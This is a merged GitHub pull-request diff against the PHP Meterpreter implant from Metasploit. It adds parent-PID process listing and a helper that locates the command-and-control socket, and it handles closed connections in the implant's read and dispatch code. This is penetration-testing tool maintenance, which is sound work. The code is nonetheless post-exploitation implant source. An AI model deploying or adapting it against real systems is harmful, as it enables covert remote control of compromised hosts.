Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 18 additions & 9 deletions php/meterpreter/ext_server_stdapi.php
Original file line number Diff line number Diff line change
Expand Up @@ -110,6 +110,7 @@
define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007);
define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008);
define("TLV_TYPE_PID", TLV_META_TYPE_UINT | 2300);
define("TLV_TYPE_PARENT_PID", TLV_META_TYPE_UINT | 2307);
define("TLV_TYPE_PROCESS_NAME", TLV_META_TYPE_STRING | 2301);
define("TLV_TYPE_PROCESS_PATH", TLV_META_TYPE_STRING | 2302);
define("TLV_TYPE_PROCESS_GROUP", TLV_META_TYPE_GROUP | 2303);
Expand Down Expand Up @@ -1099,23 +1100,31 @@ function stdapi_sys_process_get_processes($req, &$pkt) {
array_push($list, $proc_info);
}
} else {
# This command produces a line like:
# 1553 root /sbin/getty -8 38400 tty1
$output = my_cmd("ps ax -w -o pid,user,cmd --no-header 2>/dev/null");
# This command produces output like:
# PID PPID USER ARGS
# 1 0 root /sbin/launchd
# 120 1 root /usr/libexec/logd
# 'args' is the POSIX name for the full command line with arguments,
# supported on Linux, macOS, and FreeBSD (unlike 'command'/'cmd').
$output = my_cmd("ps ax -w -o pid,ppid,user,args 2>/dev/null");
$lines = explode("\n", trim($output));
array_shift($lines); # skip header
foreach ($lines as $line) {
array_push($list, preg_split("/\s+/", trim($line)));
}
}
foreach ($list as $proc) {
$grp = "";
$grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0]));
$grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1]));
$grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2]));
# Strip the pid and the user name off the front; the rest will be the
# full command line
array_shift($proc);
array_shift($proc);
array_shift($proc); # remove pid
if (!is_windows()) {
$grp .= tlv_pack(create_tlv(TLV_TYPE_PARENT_PID, $proc[0]));
array_shift($proc); # remove ppid
}
$grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[0]));
array_shift($proc); # remove user
$grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[0]));
# The rest of $proc (from index 0 onwards after shifts) is the full command line
$grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join(" ", $proc)));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp));
}
Expand Down
70 changes: 55 additions & 15 deletions php/meterpreter/meterpreter.php
Original file line number Diff line number Diff line change
Expand Up @@ -1099,9 +1099,18 @@ function write_tlv_to_socket($resource, $raw) {
write($resource, $xor . xor_bytes($xor, encrypt_packet($raw)));
}

function handle_dead_resource_channel($resource) {
global $msgsock;
# Returns the active transport's C2 socket, or null for HTTP transports
# (which don't use a persistent socket).
function get_c2_socket() {
$idx = $GLOBALS['current_transport_idx'];
if (!isset($GLOBALS['transport_list'][$idx])) {
return null;
}
$t = $GLOBALS['transport_list'][$idx];
return isset($t['_socket']) ? $t['_socket'] : null;
}

function handle_dead_resource_channel($resource) {
if (!is_resource($resource) && !is_object($resource)) {
return;
}
Expand All @@ -1120,16 +1129,24 @@ function handle_dead_resource_channel($resource) {
# Make sure we close other handles associated with this channel as well
channel_close_handles($cid);

# Notify the client that this channel is dead
$pkt = pack("N", PACKET_TYPE_REQUEST);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_CLOSE));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
# Notify the client that this channel is dead. This function is only
# ever called from dispatch_tcp, so HTTP transports never reach here.
# On HTTP, the framework discovers a dead channel implicitly: the next
# core_channel_read poll returns ERROR_FAILURE (channel_read returns
# false on EOF), and the framework infers closure from that error.
# The null guard below is a safety net in case that changes.
$c2_sock = get_c2_socket();
if ($c2_sock !== null) {
$pkt = pack("N", PACKET_TYPE_REQUEST);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_CLOSE));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));

# Add the length to the beginning of the packet
$pkt = pack("N", strlen($pkt) + 4) . $pkt;
write_tlv_to_socket($msgsock, $pkt);
# Add the length to the beginning of the packet
$pkt = pack("N", strlen($pkt) + 4) . $pkt;
write_tlv_to_socket($c2_sock, $pkt);
}
}
}

Expand Down Expand Up @@ -1593,7 +1610,14 @@ function dispatch_tcp(&$transport) {
$len_array = unpack("Nlen", substr($header, 20, 4));
$len = $len_array['len'] + 32 - 8;
while (strlen($packet) < $len) {
$packet .= read($msgsock, $len - strlen($packet));
$chunk = read($msgsock, $len - strlen($packet));
if ($chunk === false || $chunk === '') {
# The C2 socket closed mid-packet; the partial packet is
# unprocessable so retire rather than attempt a corrupt response.
remove_reader($msgsock); close($msgsock);
return DISPATCH_RETIRE;
}
$packet .= $chunk;
}
$response = create_response(decrypt_packet(xor_bytes($xor, $packet)));
write_tlv_to_socket($msgsock, $response);
Expand Down Expand Up @@ -1924,11 +1948,15 @@ function read($resource, $len=null) {
socket_recvfrom($resource, $buff, $len, PHP_BINARY_READ, $host, $port);
} else {
my_print("Reading TCP socket");
$buff .= socket_read($resource, $len, PHP_BINARY_READ);
$result = socket_read($resource, $len, PHP_BINARY_READ);
# socket_read returns "" or false when the peer closes the connection.
if ($result === false || $result === '') {
return false;
}
Comment thread
adfoster-r7 marked this conversation as resolved.
Comment thread
adfoster-r7 marked this conversation as resolved.
$buff = $result;
}
break;
case 'stream':
global $msgsock;
# Calling select here should ensure that we never try to read from a socket
# or pipe that doesn't currently have data. If that ever happens, the
# whole php process will block waiting for data that may never come.
Expand Down Expand Up @@ -1972,13 +2000,25 @@ function read($resource, $len=null) {
} else {
$tmp = fread($resource, $len);
$last_requested_len = $len;
# An empty fread on a stream that stream_select reported as readable
# means the peer has closed the connection (EOF). feof() may not return
# true immediately on all stream types (e.g. SSL), so treat "" as EOF.
if ($tmp === false || $tmp === '') {
# If we've already buffered some data, return what we have rather
# than signalling EOF; the caller will see EOF on the next read.
if (strlen($buff) > 0) {
break;
}
return false;
}
$buff .= $tmp;
if (strlen($tmp) < $len) {
break;
}
}

if ($resource != $msgsock) { my_print("buff: '$buff'"); }
$c2_sock = get_c2_socket();
if ($resource !== $c2_sock) { my_print("buff: '$buff'"); }
$r = Array($resource);
}
my_print(sprintf("Done with the big read loop on %s, got %d bytes, asked for %d bytes", get_resource_map_id($resource), strlen($buff), $last_requested_len));
Expand Down
Loading